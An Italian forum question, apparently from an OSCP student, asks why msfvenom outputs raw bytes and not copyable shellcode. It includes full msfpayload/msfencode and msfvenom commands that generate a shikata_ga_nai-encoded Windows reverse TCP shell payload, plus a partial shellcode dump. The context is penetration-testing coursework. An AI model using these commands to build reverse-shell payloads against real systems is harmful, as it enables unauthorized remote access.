Sto facendo parte della sezione Exploitation del buffer di Windows del corso OSCP e l'autore usa una combinazione di msfpayload
e msfencode
per generare un payload windows/shell_reverse_tcp
codificato con shikata ga nai. Questo è il comando che usa:
msfpayload windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 R | msfencode -b '\x00\x0a\x0d' -e x86/shikata_ga_nai
Il terminale visualizza il seguente output del codice shell codificato:
x86/shikata_ga_nai succeeded with size 351 (iteration=1)
buf =
"\xda\xc1\xba\x9d\x4a\x66\xd4\xd9\x74\x24\xf4\x5b\x33\xc9" +
"\xb1\x52\x83\xeb\xfc\x31\x53\x13\x03\xce\x59\x84\x21\x0c" +
"\xb5\xca\xca\xec\x46\xab\x43\x09\x77\xeb\x30\x5a\x28\xdb" +
…………
…………
"\x76"
Posso quindi copiare lo shellcode generato nel mio script Python e continuare con il processo di sfruttamento di un'applicazione.
So che sia msfpayload
che msfencode
sono deprecati e MSFvenom dovrebbe essere usato al suo posto. Questo è il comando che sto usando per ottenere lo stesso risultato di cui sopra.
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.2 LPORT=443 -e x86/shikata_ga_nai -b '\x00\x0a\x0d' -f raw
Questo è l'output che prendo nel terminale:
���t$����9�X3ɱR1P ��� ���'� �� �� ��>pwZ�WdV��E�Y�V��L��ή�( �!T��� ] ^��~����.����cPN�'] bR)����0� !H̥�?$�g8����7uî����QfΡd�e��J�W�hm3m 4��-&B��-o��l� ��ʗ7ig_�n�Jf�wu�)�!�A J���� �4p��� ���¬���7G¬��0¬A�B¬D
……
�� �N&�
Come puoi vedere, non ricevo l'output effettivo dello shellcode. Che cosa sto facendo di sbagliato? Vorrei che MSFvenom producesse lo shellcode che posso copiare sul mio script Python.